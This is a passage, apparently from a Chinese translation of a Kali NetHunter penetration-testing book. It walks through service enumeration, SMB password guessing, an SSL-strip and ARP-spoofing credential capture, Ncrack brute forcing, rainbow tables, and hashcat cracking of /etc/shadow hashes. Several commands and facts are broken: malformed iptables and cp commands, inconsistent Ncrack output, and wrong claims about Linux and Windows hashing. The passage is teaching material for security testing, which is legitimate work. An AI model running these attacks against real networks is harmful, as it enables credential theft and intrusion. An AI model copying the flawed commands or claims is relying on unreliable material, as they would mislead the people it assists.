  2. 输入GET/ http/1.0命令。

  3. Enter

  4. 查看结果。

您的目标可能会有所不同,但结果将以类似以下格式呈现:

HTTP/1.1 200 OK 
Date: Mon, 30 January 2017 22:10:40 EST 
Server: Apache/2.0.46 (Unix) (Red Hat/Linux) Last-Modified: Mon, 25 December 2016 11:20:14 PST ETag: "1986-69b-123a4bc6" 
Accept-Ranges: bytes 
Content-Length: 1110 
Connection: close 
Content-Type: text/html 

查看输出,您会注意到在标有 server 的行中,有关服务器类型的信息,即在 UNIX 或 Red Hat/Linux 上运行的 Apache/2.0.46。这些信息看似无害,但对于以后针对 Web 服务器或操作系统的行动是有用的,因为我们对两者都有一些信息。

练习-使用 nmap 进行横幅抓取

现在我们将使用 NMap 来帮助我们检索目标设备的横幅:

  1. 打开命令控制台。

  2. 在控制台中,输入以下命令:

Nmap  -sV <target IP address or hostname> 
  1. Enter

  2. 查看结果。

您会注意到,与 Telnet 的结果相比,这些结果有些简略,但它们提供了有关开放端口上正在运行的服务的基本信息。如果您想要更深入的结果,可以按以下方式变化命令:

  • 更积极的服务检测nmap -sV --version-intensity 5 <目标 IP 地址或主机名>

  • 轻量级横幅抓取检测nmap -sV --version-intensity 0 <目标 IP 地址或主机名>

版本强度使用 0-9 之间的值。较低的数字使用探针,往往更有效地对常见服务进行更广泛的测试。较高的数字使用探针,很少或有时有用。但是,使用较高的数字会增加完成扫描所需的时间,但会增加正确识别服务的机会。

还有另一种使用 nmap 获取有关服务的详细信息的方法,即使用以下命令:

Nmap -A <IP address> 

这在早些时候被提到过,作为检测操作系统和服务的一种方式,但在这里也应该再次提到。

使用 NetHunter 进行枚举

一旦您从扫描中收集到信息,例如开放端口和有关运行服务的信息,您可以进行枚举。在此过程中,您可以期望获得更多可以稍后采取行动的信息。如果您幸运并且取得了巨大成功,您可能会发现自己拥有用户帐户、设备主机名、网络共享和服务等信息。值得注意的是,您正在增加自己的可见性,并伴随着被检测到的可能性,因此您希望尽量小心行事,并在行动中谨慎。

以下是在枚举过程中收集到的一些信息的列表:

  • 网络共享

  • 用户和组

  • 运行的服务及其横幅

  • DNS 记录

枚举 DNS

由于 DNS 是您可能遇到的任何网络中的核心服务,因此它被列入您潜在目标的清单是有道理的。DNS 对于渗透测试人员来说是一个宝贵的信息来源,因为可以在其中发现信息。请记住,DNS 负责将主机名解析为 IP 地址,反之亦然,分别称为正向查找和反向查找。该服务在许多网络中起着重要作用,因为它简化了管理,并且使得记住主机名而不是 IP 地址成为可能。该服务还对目录服务的正常运行至关重要,例如微软的 Active Directory 产品和其他产品。DNS 中包含的有关主机和服务的信息使其成为渗透测试人员的一个吸引人的目标。幸运的是,NetHunter 提供了一些用于处理该服务的工具。

让我们看一个非常有效且简单的工具 DNSenum,来开始这个过程。DNSenum被创建用于从目标域中收集信息。收集到的信息以 DNS 记录的形式呈现,其中将包括 IP 地址和主机名等信息。此外,该工具还可以为目标收集主机地址,并尝试从服务该域的 DNS 服务器进行区域传输。

要使用该工具,您需要在终端窗口中执行dnsenum命令,但是您需要选择使用哪些开关来自定义结果。

例如,让我们对www.setset.com域运行一个基本查询,并将结果输出到名为dns.xml的文件中:

dnsenum -o dns.xml test.com 
or 
dnsenum -o <filename.xml> <domain_name> 

一旦该命令完成,我们可以在文本编辑器或专门用于读取 XML 文件的应用程序中打开生成的 XML 文件。返回并写入文件的结果将包括以下内容:

  • 主机地址

  • 名称服务器

  • 邮件服务器

  • 尝试和成功的区域传输

关于区域传输,其中一些更有用的信息是关于区域传输。如果区域传输成功,您可以期望获得从 DNS 中提取的记录列表,其中将包含有关主机、服务和存储在名称服务器中的其他项目的信息。然而,在您第一次尝试区域传输之前,不要过于兴奋,要意识到在大多数现代环境中,未知主机的区域传输请求将不被允许。为什么呢?首先,端口53 TCP 必须是打开的,DNS 必须存在,才能成功地连接到系统。其次,大多数 DNS 服务器已被配置为默认拒绝未经授权的区域传输请求。即使可能不成功,尝试仍然是值得的,也值得让 DNSenum 做出努力。

另一个可以执行相同类型功能的工具是 DNSrecon。该实用程序可以执行 DNSenum 无法执行的额外步骤,即检索 SRV 或服务记录以及其他一些记录。SRV是最有趣的记录之一,因为许多应用程序使用它,例如微软的 Active Directory,以及即时通讯、电话应用程序和语音/视频服务等服务。这类记录可以帮助渗透测试人员定位和识别许多有用的项目。

要执行 DNSrecon 的基本操作,请在命令行中输入以下内容:

dnsrecon -d <domain_name> 

枚举 SMTP

SMTP是用于传输消息的协议,在邮件服务器和邮件客户端中通常使用。该协议的简单性和可靠性导致了它的广泛采用,并自 1982 年首次引入以来进行了一些修订。

在消息系统的上下文中,SMTP 有两种不同的用法。在邮件服务器的情况下,该协议用于将消息从一个服务器传输到另一个服务器,直到它到达收件人邮箱所在的服务器,然后存储以供以后检索。在邮件客户端方面,该协议用于向邮件服务器发送消息,并利用其他协议从服务器检索消息。

对于渗透测试人员来说,SMTP 可以代表一个宝贵的信息来源,特别是用户名和电子邮件地址。我们将在这里使用的技术旨在查询 SMTP 服务并检索用户名以及域名。你可能没有意识到,但你在电子邮件地址中一直看到这些信息,形式为两部分;@之前的部分是用户名,之后的是域名。

这种格式在遵循模式的用户名环境中是标准的,比如名字点姓氏或者其他变体。例如,john.doe 作为@符号前的名称。

那么,我们如何使用 NetHunter 中的工具从 SMTP 中提取电子邮件地址信息呢?嗯,一切都始于我们从 DNS 枚举中获得的邮件交换或 MX 记录。

根据您使用的工具,结果在屏幕上可能会以稍有不同的方式显示,但您要寻找的是一个(或在某些情况下是多个)特别标记为 MX 的记录。一旦找到这些记录,您要查找分配给每个记录的 IP 地址。如果您有多个 MX 服务器,您将想要查看哪一个分配了最低的优先级数字,因为这将是该域的主要服务器。如果主要服务器不起作用,可以尝试枚举的下一个最高优先级。

在实践中,我们通常选择优先级数字最低的服务器,这在这种情况下是第一条记录。MX 优先级数字在 SMTP 的正常操作中用来指示应该首先使用哪个服务器。数字越低,优先级越高,因此两条记录中一个设置为值1,另一个设置为50,将首先尝试1,然后是50。虽然我们可以使用其他的,但按照邮件路由服务的使用顺序使用它们是有意义的。一旦我们有了这个,我们可以转到结果的第二部分并关注这些行。

练习-使用 NMAP 进行枚举

一旦你有了 MX 记录的 IP 地址,我们就可以开始提取信息(或尝试)。我们可以通过使用 nmap 工具以及其内置的脚本能力来做到这一点。我们可以在控制台输入以下内容:

nmap -script smtp-enum-users.nse 65.54.254.145 

如果你仔细看这个命令,你会看到-script开关的添加,它指示 nmap 工具运行一个 NSE 脚本。nmap 的 NSE 组件代表 Nmap 脚本引擎,它允许创建自定义脚本,使用预安装的脚本,或者从第三方获取脚本。在这种情况下,选择的脚本是预安装的,并从 SMTP 服务器中提取名称。

一句警告:许多公司不再托管他们的电子邮件服务器,而选择将它们移交给第三方提供商,如谷歌或微软。如果您看到指向客户以外的域名的 MX 记录,请不要瞄准这些服务器。虽然工具可能有效,并为您提供信息,但您可能没有权限侵入这些服务器,因为它们是第三方拥有的。在这些情况下,客户无法授权您对这些资产进行渗透测试,因为他们不拥有这些资产。请与托管提供商联系,评估这些资产的安全性以及如何在获得许可的情况下继续进行。

练习-使用 smtp-user-enum

我们可以使用的第二个工具是smtp-user-enum,这是一个 Perl 脚本,旨在通过 SMTP 确定用户名称,以及其他任务。要运行smtp-user-enum,打开终端并使用所需的开关发出smtp-user-enum命令。让我们看一些脚本命令的示例。

以下示例使用了与之前相同的服务器地址和 nmap(这里我用<IP>标签而不是完整地址来标注地址,以便更清楚):

smtp-user-enum -M VRFY -U names.txt -t <IP>  
smtp-user-enum -M EXPN -U names.txt -t <IP>  
smtp-user-enum -M RCPT -U names.txt -t <IP>  

您应该注意到这些命令中有一系列开关;让我们看看这三个正在使用的命令。首先,-U通知脚本您要使用包含在names.txt文件中的用户列表。下一个开关是-t,它将信息传递给脚本,指定它将瞄准哪个服务器。最后,-M告诉实用程序它正在运行的模式。让我们仔细看看这三种模式:

  • VRFY(默认):此模式仅通过观察 SMTP 服务器返回的响应来验证用户名列表,当返回有效和无效的用户名时。

  • EXPN:此模式选择接受用户名,如果存在,则展开以显示“username@domain”的全名。

  • RCPT:运行此命令时,它将使用预期用户的全名(电子邮件地址)。如果用户存在,服务器将以代码 250 做出响应,否则将返回代码 550。请注意,许多 SMTP 服务器倾向于禁用 VRFY 和 EXPN 命令,因此 RCPT 可能是最佳选项。

那么为什么要使用 SMTP 命令从 SMTP 服务器中提取和验证信息?简单地说,使用这种方法是从运行 SMTP 的目标中提取有效用户名列表的许多方法之一。每个经过验证的用户名都会提供即时反馈,表明我们已经发现了一个活跃的帐户,应该记下以备后续行动。

使用 SMB

服务器消息块(SMB)主要用于在计算机、服务器和其他网络设备(如打印机)之间提供网络和文件共享。但是,SMB 是公共互联网文件系统(CIFS)的前身。

练习-使用 enum4linux

enum4linux 是 NetHunter 附带的一个工具,非常适用于从启用 SMB 的系统中提取信息。使用 SMB 的系统主要是 Windows,但也可以是启用 Samba 的系统,如 Linux 和 UNIX。

该工具提供了几个重要的功能:

  • RID 循环

  • 用户列表

  • 列出组成员

  • 列出网络共享

  • 检测主机是在工作组还是域中

  • 识别远程计算机的操作系统

如果您已对目标进行了端口扫描,并发现以下端口中的任何一个是开放的,您可能希望尝试使用此工具:

  • TCP 端口445

  • UDP 端口137138和 TCP 端口137139(TCP/IP 上的 NetBIOS)

要执行工具以检索用户列表,请发出以下命令:

enum4linux -U <target IP> 

结果将如下所示:

image

从 enum4linux 返回的用户列表

要执行搜索可用共享的搜索,我们可以发出以下命令:

enum4linux -S <target IP> 

以下屏幕截图显示了命令的结果:

image

enum4linux 中-S 开关的结果

如果您想获取更详细的信息,可以使用-d开关:

 enum4linux -S -d <target IP> 

但是,如果您想在一个命令中检索所有信息,您可以简单地使用以下命令。

enum4linux <target IP> 

期望有大量信息需要整理,但幸运的是,enum4linux呈现得很好,让您可以浏览其中寻找有用的信息。

请注意,enum4linux提供有关打印机、密码策略、域或工作组成员资格以及许多其他项目的信息。所呈现的信息将取决于系统设置和目标环境。

在 Windows 2000 及以后的系统中,使用此工具进行扫描的结果将取决于两个因素:防火墙设置和注册表设置。

首先,如果在 Windows 系统上启用或禁用了防火墙,您将获得不同的结果。其次,如果系统将RestrictAnonymous注册表设置为 1 或 2(可以设置为 0,1 或 2),则某些信息将无法被访问。

还有一件事:如果系统的所有者简单地禁用 SMB 服务和 NetBIOS,这个实用程序将无法工作。

练习-使用 acccheck

如果您已经从运行enum4linux中检索到用户信息,现在可以尝试基本密码破解。在这一点上可以使用的工具称为acccheck,非常适合破解与 SMB 协议相关的密码。虽然我们不会在以后进行更高级的密码破解,但现在至少可以尝试基本的密码破解。

在这个例子中,我将以用户名user为目标;我可以通过发出以下命令来实现这一点:

acccheck -v -t <IP address> -u user -P /usr/share/dirb/wordlists/common.txt 

在这个命令中,开关向我们显示了以下内容:

  • -v用于详细信息

  • -t用于目标 IP

  • -u后跟指定的用户名

  • -P用于包含要尝试的密码列表的文本文件

在 NetHunter Linux 中,密码字典通常位于usr/share/dirb目录中。在这种情况下,我使用了 common.txt 文件,这是一个流行密码和这些密码变体的列表。

执行此命令后,将继续针对目标系统上的“user”帐户尝试密码,直到运行完文件中的所有名称或找到匹配项。

在某些情况下,您可能会被目标系统上的“帐户锁定”设置所阻止,该设置旨在在一定数量的尝试失败后锁定帐户。

练习-使用 SMBmap

让我们专注于使用 enum4linux 检索到的共享。这些共享(如果您返回了共享信息)可以使用 smbmap 进一步检查。SMBMap 允许您列出共享驱动器和权限,提供上传和下载功能,甚至执行远程命令。

但是,让我们看看如何使用 smbmap 来识别共享的权限。我们可以通过像这样使用 smbmap 来做到这一点:

  1. 打开终端窗口。

  2. 输入smbmap -H <IP 地址>命令。

  3. Enter

这将显示目标系统上的共享列表以及它们各自的权限。请记住,您在没有远程系统的用户名或密码的情况下查看这些内容,因此您可能看不到所有内容。如果我们想使用或尝试使用一组凭据来查看更多内容,我们可以这样做。让我们通过使用user作为用户名和user作为密码(从我们在 acccheck 尝试中收到的内容)来做到这一点。

在这里,我们将使用前面的命令和这些凭据。

smbmap -u user -p user -H <IP address>

根据帐户的权限,您可能会看到更多信息。正如您可以确定的那样,-u-p标志用于在执行命令期间定义要使用的用户名和密码。让我们通过向此命令添加更多内容来进一步进行:

smbmap -r -u user -p user -H <IP address>

在这个最后的例子中,-r开关显示了有关每个共享的详细信息,它在磁盘上的位置以及分配给它的权限。再次强调,您用于执行此命令的帐户将决定显示多少信息。

总结

扫描和随后对目标的枚举是入侵系统的重要步骤。通过这个过程,您将了解环境,哪些端口是开放的,以及可能从这些端口背后的服务中提取的信息。这些信息将帮助您比以往更好地和更准确地规划下一步。

扫描将告诉您活动目标的位置,以及哪些端口已经被打开,而枚举则将您移动到尝试提取有用和有意义信息的下一步。使用诸如 nmap、nslookup 和 smtp-user-enum 之类的工具,可以揭示有关主机及其周围网络的用户、组和其他信息。

在下一章中,我们将探讨通过发现漏洞来获取对目标系统的访问权限。

进一步阅读

查看以下链接,了解本章涵盖的主题的更多信息:

第五章:渗透目标

到目前为止,我们通过一些侦探工作收集了信息,扫描了目标以了解活动目标的位置和它们留下的开放端口,然后尝试通过枚举提取更详细的信息。在这个过程中,我们学到了不少,但我们仍然有更多要学习,包括关于过程和 Kali NetHunter 如何帮助我们的更多信息。我们现在正在进入实际将渗透测试中的渗透放入渗透测试的步骤,尝试获取对目标本身的访问权限。到目前为止,一切都让我们能够计划、学习和准备成功尝试进入。

我们的目标是获取主机的访问权限,如果到目前为止我们做得不错,我们积累的信息将会帮助我们。当我们获得对系统的访问权限时,有看似无穷无尽的方法可以实现这一点,但我们将把重点限制在其中一些方法上,并展示 Kali Nethunter 如何在执行这些方法时有所帮助。在这个过程的这一部分,您可以期待执行各种任务,这些任务旨在破解或恢复密码、提升权限、执行应用程序、隐藏文件、覆盖踪迹,以及以其他方式掩盖您的行动证据。这都是每天的工作,所以让我们启动 Kali Nethunter 并开始吧。

在本章中,我们将涵盖以下主题:

  • 选择破解方法

  • 在目标上执行应用程序

  • 捕获机密信息

  • 密码破解技术

  • 执行应用程序

  • 提升权限

  • 运行后门

技术要求

在本章中,您将需要 Kali NetHunter(默认安装即可)。

关于密码

获取系统访问权限的一个常见第一步是使用您在系统上获得的帐户的密码。当然,获取这个密码是重要的,因为您必须找到一种方法来获取有效帐户的密码。这就是所谓的密码破解或密码恢复的过程发挥作用的地方。

那么,术语密码破解的定义是什么呢?尽管电影和电视对这个话题有所描述,但密码破解是一个用于获取这一信息的一组技术的总称。在这个过程中,您可以期待使用任何个别或组合的方法,每种方法都有其优缺点。您可以盲目猜测密码,或者您可能对系统所有者有一些信息,这可能会使猜测过程变得更容易。获取密码的其他技术可能涉及反复猜测或利用系统中的安全漏洞。

选择破解方法

为了让事情变得更容易,让我们把密码破解分解成几个主要类别,然后将我们的技术分类。我们将根据操作方法将技术分类,作为主要特征。请注意,每个类别和其中的技术不仅提供独特的方法,还有各自的优缺点,我们将在遇到它们时进行讨论。以下图表显示了密码破解攻击的分类:

image

密码破解技术的类别如下:

  • 被动技术:这个类别中的任何攻击都是通过简单地监听和避免与目标直接交互来执行的。离线密码攻击旨在利用密码存储方式中固有的设计缺陷和缺陷。

  • 直接技术:这种技术需要更积极和直接地与目标进行交互。这些类型的攻击可能非常有效,但被发现的风险更高。

被动技术

在这个第一类别中,我们有那些采用低风险方法耐心等待的技术。这个过程和最终结果的有效性取决于所采用的方法、密码的强度和目标系统。

嗅探是一种非常有效的获取信息的方法,因为你只需插入到网络中,打开一个嗅探器,它将观察并捕获流经数据包流的信息。这种技术之所以特别有效,是因为如果你针对的是通过不安全方法传输的凭据,比如使用较旧的网络协议(如文件传输协议(FTP)、Telnet 或简单邮件传输协议(SMTP))传输的凭据。许多这些长期存在且常用的协议因缺乏任何可感知的保护而容易受到攻击。例如,HTTP 发送的是明文信息,你可以使用诸如 Wireshark 之类的工具来嗅探数据包并查看数据包内的内容:

image

上图显示了嗅探器可以放置在网络上的位置。

中间人攻击

在嗅探的基础上,我们有中间人攻击MITM)。当两个设备正在进行通信,第三个设备从监听状态转变为主动参与状态时,就会发生这种攻击。下图显示了中间人攻击的概念:

image

这种类型的攻击对捕获网络流量和协议很有用。然而,一些协议也被发现存在漏洞,比如用于保护许多电子商务和类似应用的安全套接层(SSL)。

在 Kali NetHunter 中,你会找到一些工具能够帮助你执行中间人攻击,比如 SSL 剥离和 Burp Suite。为了演示中间人攻击,让我们使用 SSL 剥离。

SSL 是一个广泛使用的标准,它诞生于 1990 年代初,并且从 1995 年起公开可用。该协议的最新版本是 SSL 3.0,于 2015 年中期被弃用,不应再使用,因为存在成功的妥协,比如公开的 POODLE 攻击。为了确保安全通信,SSL 应该被新的传输层安全TLS)1.2 版本所取代,以保持最强大的安全级别。

所以,在我们开始实际攻击之前,让我们先了解一些细节,以便充分欣赏它。

地址解析协议ARP)欺骗,将利用 ARP 协议(如果你还记得你的基本网络经验,它将 IP 地址与特定 MAC 地址关联起来)使我们针对的系统相信我们是路由器(而实际上并非如此)。

由于我们使用 ARP 欺骗,我们在网络上使用伪造的 ARP 消息,目的是改变系统上的 ARP 缓存。在正常情况下,当系统发送 ARP 请求时,它正在寻找与给定 IP 地址对应的 MAC 地址。当得到响应时,返回的消息将包括与请求匹配的系统的 IP 地址和 MAC 地址,然后将被缓存在请求者的系统中。当我们毒化这些缓存时,我们发送一条消息,重写缓存为不同的 MAC 地址,这将使流量以与网络所有者意图不同的方式进行路由。这将导致流量以多种不同的方式进行定向。

通过这种简单的行为,客户端将把它们的流量转发到我们的系统,我们可以在将其转发之前执行我们的中间人攻击,而不是将其发送到实际的路由器。

流量分析:在幕后,我们使用 SSL 剥离来检测通过我们系统流动的使用 SSL 协议的 URL 的请求。符合我们标准的流量将被拦截和修改。

拦截和修改请求:基本上,当涉及到 SSL 剥离检测请求时,它会剥离 SSL,然后修改请求或者简单地收集信息。

因此,如果我们把所有这些放在一起,我们就可以看到在运行SSL 剥离时发生了什么:

  1. 攻击者通过欺骗路由器的 MAC 地址使自己看起来像路由器。

  2. 客户端像往常一样向网站或其他位置发出请求。

  3. 应直接发送到路由器的请求,而是发送到攻击者的模拟系统。

  4. SSL 剥离(在攻击者的系统上运行)观察流量,并寻找任何发送到使用 SSL 的位置的请求。

  5. 当发出 SSL 请求时,它将被剥离其保护,并检索私人信息。

  6. 然后请求重新应用其 SSL 层并转发到服务器。

  7. 服务器响应并将 SSL 保护的内容发送回攻击者,攻击者剥离请求的 SSL 并收集返回的信息。

  8. 然后将响应返回给客户端,客户端对此一无所知。

因此,让我们使用 SSL strip。

练习-使用 SSL strip

为了准备好使用 SSL strip,我们需要提前设置一些东西-幸运的是,我们已经具备了这样的技能。我们将设置以下内容:

  • IP 转发

  • IP 表重定向808080

  • 查找网关 IP

  • 查找目标 IP

  • Arpspoof

应执行以下步骤来设置 IP 转发:

  1. 在终端窗口中输入以下内容:
echo '1' > /proc/sys/net/ipv4/IP_forward 
  1. 设置重定向,将端口80的请求重定向到8080。在终端窗口中,输入以下命令:
 iptables -t nat -A PREROUTING -p tcp -destination-port 80 -j REDIRECT 
-to-port 8080 
  1. 通过在终端窗口中输入以下内容来查找路由器 IP:
netstat -nr 
  1. 从列表中选择一个目标。为了针对客户端进行定位,我们需要找到一个客户端并获取其 IP。您可以通过使用 nmap、嗅探或其他方式来完成此操作。一旦获得此 IP,就可以进行下一步。

  2. 通过在终端窗口中输入以下内容来重定向流量通过托管 SSL Strip 的攻击计算机:

arpspoof -i interface -t target IP -r router IP 
  1. 保持终端窗口打开。

  2. 打开第二个终端窗口并保持第一个窗口打开。

  3. 在第二个终端窗口中输入sslstrip -l 8080启动sslstrip;这将告诉sslstrip通过-l开关监听端口8080。如果回顾我们之前的步骤,我们重定向到端口 8080,因此我们正在观察流向该端口的流量。

  4. 在目标系统(在步骤 4中找到的系统)上打开一个使用 SSL 的网站(您可以通过站点地址中的https来判断)。Gmail 等网站是一个例子。

  5. 访问该网站并输入您的帐户或其他项目的凭据;您会注意到在 sslstrip 系统上捕获的数据。

  6. 在 Kali NetHunter 系统上捕获一些流量,切换到运行 sslstrip 的窗口,并按Ctrl + C停止进程,并自动将结果写入名为sslstrip.log的文件。

结果可以在任何文本编辑器中打开,例如 nano。

主动技术

主动密码破解技术直接在目标系统上或对目标系统进行。使用这种类型的技术的缺点是增加被检测到的机会。

使用 Ncrack

进行此类攻击的一种方法是使用 Kali NetHunter 附带的 Ncrack 实用程序。该实用程序旨在对网络上的主机进行审计,以查找可能被利用来攻击主机或网络设备的弱密码。该实用程序基于命令行,可以使用不同组合的开关和选项来精细化破解过程。此外,该实用程序支持许多主要协议和服务,包括 RDP、SSH、HTTP(S)、SMB、POP3(S)、VNC、FTP、SIP、Redis、PostgreSQL、MySQL 和 Telnet。

练习-使用 Ncrack

为了使用 Ncrack,我们可以利用迄今为止在活动系统、端口扫描和用户名上收集的信息来开始工作:

  1. 查找活动系统。

  2. 查找 Ncrack 支持的运行服务的端口。

  3. 执行对端口的横幅抓取,使用 telnet 或您选择的横幅抓取工具(如 nmap)对服务进行指纹识别。

  4. 使用任何用户名,例如您从 SMTP 枚举中收集的用户名,并将它们保存到一个文本文件中。将文件保存为您可以记住的名称,例如usernames.txt

  5. 创建第二个文本文件,其中包含您要尝试的密码。您还可以通过查找密码列表单词列表来从互联网上下载此文件。将其保存到一个您可以记住的文本文件中,例如passwords.txt

完成后,我们可以使用 Ncrack 来查看我们能够吓唬出什么结果:

ncrack -vv -U usernames.txt -P passwords.txt <IP address:port number>, CL=1 

在这个例子中,我们使用以下内容:

  • -vv 用于在命令运行时增加输出细节。

  • -U 用于指定要尝试的用户名文件。

  • -P 用于指定要使用的密码文件。

  • IP 地址和 Ncrack 支持的服务的端口。

  • CL 用于指定与目标同时打开的连接数。更多的连接可能会增加速度。

如果命令对某个帐户成功,你的结果将被打印在屏幕上,如下所示:

smtp://192.168.1.2:110 finished. 
Discovered credentials on rdp://192.168.1.200:110 'schmuck' 'aesop' 

正如您所看到的,用户名是schmuck,密码是aesop

离线攻击

离线攻击不是直接针对目标进行的,而是针对攻击者的系统本身。离线密码破解非常消耗 CPU。

彩虹表

离线攻击功能和力量的一个非常有效的演示是通过一种称为彩虹表的技术。这种类型的攻击利用了使用给定哈希方法创建的所有不同字符组合的预计算哈希。在实践中,彩虹表将由渗透测试人员创建,他将选择创建哈希的参数。例如,定义密码的最小和最大长度的参数,以及字符集和哈希类型将被定义。结果将是一个可以用来找到正确密码的表。

那么我们如何使用表找到正确的密码呢?简单!我们从受害者的本地存储中检索一个哈希密码,或者通过嗅探从网络中捕获它。

彩虹表的缺点是必须在执行恢复密码的尝试之前生成它们。彩虹表的另一个失败是,尝试恢复的密码越长,生成的表越大,生成它所需的时间就越长。

练习 - 创建彩虹表

利用彩虹表破解方法的第一步是实际创建表本身。为此,我们将使用rtgen来生成我们指定的参数的表。

练习 - 使用 rtgen

要使用rtgen命令,我们必须打开一个终端窗口并提供所需的参数。以下是rtgen提供的选项列表:

lm, plaintext_len limit: 0 - 7 
ntlm, plaintext_len limit: 0 - 15 
md5, plaintext_len limit: 0 - 15 
sha1, plaintext_len limit: 0 - 20 
mysqlsha1, plaintext_len limit: 0 - 20 
halflmchall, plaintext_len limit: 0 - 7 
ntlmchall, plaintext_len limit: 0 - 15 
oracle-SYSTEM, plaintext_len limit: 0 - 10 
md5-half, plaintext_len limit: 0 - 15 

如果我们想生成一个彩虹表,我们输入:

rtgen sha1 loweralpha-numeric 1 8 0 5000 6553600 0 

usage: rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index 

在创建彩虹表时,每个表都是针对给定的哈希类型,例如 MD5 或 SHA1。rtgen程序支持许多哈希算法,例如 MD5 和 SHA1。

在前面的例子中,我们生成了 SHA1 彩虹表,这将加快破解 SHA1 哈希的速度。

命令执行后,您将在执行命令的文件夹中留下扩展名为.rt 的文件。下一步是使用以下命令对文件进行排序:

Rtsort *.rt 

这将在我们使用它们之前对文件进行排序。

现在我们将使用以下命令恢复密码。这是第一个:

rcrack *.rt -l filename.txt (this will attempt to recover passwords from hashes stored in a text file)

或者,您可以使用此命令:

rcrack *.rt -h <hash> 

此命令将尝试恢复提供的哈希密码。

将它们放在一起

要成功破解密码,您必须有一个计划;仅仅通过不同的技术来尝试可能会取得“成果”,但更有可能不仅不成功,而且可能在过程中被检测到。因此,让我们考虑一种策略,以利用我们在 Kali NetHunter 中强大的工具。

首先,您应该了解,您尝试破解密码的哈希很可能存在于不同的位置,这取决于您的方法和目标环境。

在使用 Microsoft Windows 的环境中,这些位置是 SAM 文件,它存在于本地计算机文件系统中,也存在于 Active Directory 中,如果环境使用域。

那些基于 Linux 或 UNIX 环境的环境通常将它们的哈希存储在完全不同的位置。这些系统将它们的哈希存储在一个名为/etc/shadow的位置,这也是在本地文件系统上。

在这两种情况下,哈希是一种单向加密,为每个密码生成唯一的输出或指纹。当然,尽管哈希是不可逆的,我们已经解释过彩虹表可以用来查找生成哈希的内容;然而,还有一个问题没有解决。这个问题是有多种哈希算法,相同的输入会在每种算法上产生不同的结果。因此,我们需要在走得太远之前确定哈希算法;幸运的是,我们有办法做到这一点。

例如,基于 Linux 的系统使用众所周知的 MD5 算法,而 Windows 系统使用 HMAC-MD5,一些其他技术使用 SHA1、MD4、NTLM 等。

一种方法是使用 Kali NetHunter Linux 中的一个工具,称为 hash-identifier。这个工具可以通过在 Kali NetHunter 中打开命令提示符并输入以下命令来运行:

hash-identifier <retrieved hash> 

hash-identifier 工具将尝试识别哈希并列出可能的类型。

另一个选择是使用 John the Ripper 密码破解工具(也包含在 Kali NetHunter 中)。然而,在其他流行的密码破解工具中,自动检测不是一个选项,因此需要指定哈希类型,因此需要 hash-identifier。

练习-使用 hashcat 恢复密码

让我们使用 Kali NetHunter Linux 和 hashcat 来恢复我们的第一组密码。Hashcat被认为是最快的基于 CPU 的密码恢复工具之一。虽然最初是专有的,但现在这个软件完全免费,不仅在 Linux 中广泛使用,在 OS X 和 Windows 中也广泛使用。它还配备了一个可以利用系统的 CPU 的版本,但也有能力利用更快的图形处理单元(GPU)。hashcat 支持的哈希算法的例子包括 Microsoft 的 LM 哈希、MD4、MD5、SHA 系列、Unix Crypt 格式、MySQL、Cisco PIX。

要在 Kali NetHunter 中启动密码破解过程,请转到应用程序 | Kali NetHunter Linux | 密码攻击 | 离线攻击 | hashcat

这将打开一个带有一些帮助信息的终端窗口。

在屏幕顶部,您将看到 hashcat 的语法:

hashcat options hashfile mask <wordfile> <directory> 

其中一些最重要的是-m(哈希类型)和-a(攻击模式)。

让我们分析 hashcat 的语法和重要的选项,这些选项可以用来定制和调整使用 hashcat 进行破解的过程。这些规则可以接受您创建的单词列表文件,并应用大写规则、特殊字符、单词组合以及附加和前置数字。这些技术中的每一种都会增加破解更复杂密码的可能性。事实上,hashcat 将允许您定制用于尝试在目标上恢复密码的自定义字符集和选项。

您还将被要求选择正在破解的哈希类型。如果您知道您正在瞄准的系统上的哈希类型,或者已经使用了哈希标识符,那么可以这样做。

最后,我们必须选择我们要尝试破解的哈希类型。Hashcat 给了我们很多选择。当准备好瞄准哈希时,您将从 hashcat 呈现的列表中选择(按编号)正在瞄准的哈希类型。

您可以从网上下载一个单词列表,或者您可以使用 locate 命令在您的 Kali NetHunter 系统中搜索内置的单词列表。您可以使用以下语法来做到这一点:

locate rockyou.txt

一旦我们准备好了 hashcat 和一个单词列表,我们可以通过以 root 用户登录并查看/etc/shadow来获取一些哈希。在 Linux 中,可以这样做:

tail /etc/shadow

一旦执行了这个命令,我们就可以看到带有哈希的 shadow 文件。

有了这些信息,现在我们需要确定系统使用的是什么类型的哈希。幸运的是,我们可以通过发出以下命令相当容易地做到这一点:

more /etc/login.defs 

通过按 Enter 键向下滚动文件约 80%,直到看到一个标记为ENCRYPT_METHOD的条目,其后通常是 SHA512 的值。这很重要,因为 hashcat 将需要这些信息来显示哈希。

有了哈希的位置信息以及系统使用的哈希算法的知识,现在可以开始破解哈希的过程了。

首先,我们想把哈希放入一个我们将命名为hash.lst的文件中,我们通过发出以下命令来创建这个文件:

cp oringal_hashes.txt /etc/shadow hash.lst 

为了确保一切都被复制过去,让我们发出以下命令:

more hash.lst 

如果一切顺利完成,您应该看到哈希已经按预期复制到hash.lst文件中。

在我们尝试破解此文件中的哈希之前,我们需要剥离一些信息以清理一下。基本上,我们将删除任何不是哈希的东西。默认情况下,文件将包括用户名信息,在此过程中不需要。

为了确保这个过程将会成功,您需要删除用户名和紧接用户名的冒号。在您删除了这个之后,您将删除一切:去到行的末尾并删除任何以冒号开头的东西。为了进一步解释,让我们考虑以下截图:

image

我们需要清理一下,只显示高亮的哈希值:

image

在最后一步,您现在可以开始破解哈希的过程了。以下是启动此过程的命令:

Kali Nethunter > hashcat -m 1800 -a 0 -o cracked.txt --remove hash.lst /usr/share/sqlmap/txt/ 
wordlist.txt 
  • -m 1800指定了我们要破解的哈希类型(SHA-512)。

  • -a 0指定了字典攻击。

  • -o cracked.txt是破解密码的输出文件。

  • --remove告诉 hashcat 在破解后删除哈希。

  • hash.lst是我们的哈希输入文件。

  • /usr/share/sqlmap/txt/wordlist.txt是我们用于此字典攻击的单词列表的绝对路径。

一旦破解过程开始,您可以通过按下Enter键来查看进展情况。这个过程将需要不同的时间,这取决于您的安卓设备的性能以及同时运行在系统上的其他内容。

执行应用程序

在本节中,我们将讨论如何远程运行应用程序以及您可以利用这种能力做些什么。

作为渗透测试人员,您应该对此时将要做的事情有一个很好或明确的想法,比如运行一个应用程序或执行。需要执行以下任务:

